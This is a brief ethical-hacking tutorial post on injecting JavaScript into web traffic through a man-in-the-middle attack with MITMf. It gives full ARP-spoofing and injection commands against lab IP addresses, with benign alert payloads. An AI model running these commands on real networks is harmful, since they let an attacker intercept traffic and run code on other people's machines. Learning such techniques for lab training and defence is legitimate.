zoukankan      html  css  js  c++  java
  • Ethical Hacking

    MITM - Code Injection

    • Inject javascript or HTML code into pages.
    • Code gets executed on target machine.
    • Use - - inject plugin.

    Code can be:

    1. Stored on a local file --js-file or --html-file

    2. Stored online --js-url or --html-url

    3. Or you can supply the code through the terminal --js-payload or --html-payload

    Usage Case 1:

    python2 mitmf.py --arp --spoof -i eth0 --gateway 10.0.0.1 --targets 10.0.0.22 --inject --js-payload "alter('test');"

    The inection code works.

    Usage case2:

    Edit the js file and save it as alert.js in the root folder.

    alert('test');

    Run the commands on the terminal.

    python2 mitmf.py --arp --spoof -i eth0 --gateway 10.0.0.1 --target 10.0.0.22 --inject --js-file /root/alert.js

     The injection file works...

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    6-1
    5-9
    5-8
    5-7
    5-6
    实验4-1:掌握Android应用调试方法、添加新界面
    实验3:理解Activity 的生命周期
    R.java常见问题解决方案
    配置Android模拟器
    第02周实验: 变量、算术运算和数据类型
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/12044150.html
Copyright © 2011-2022 走看看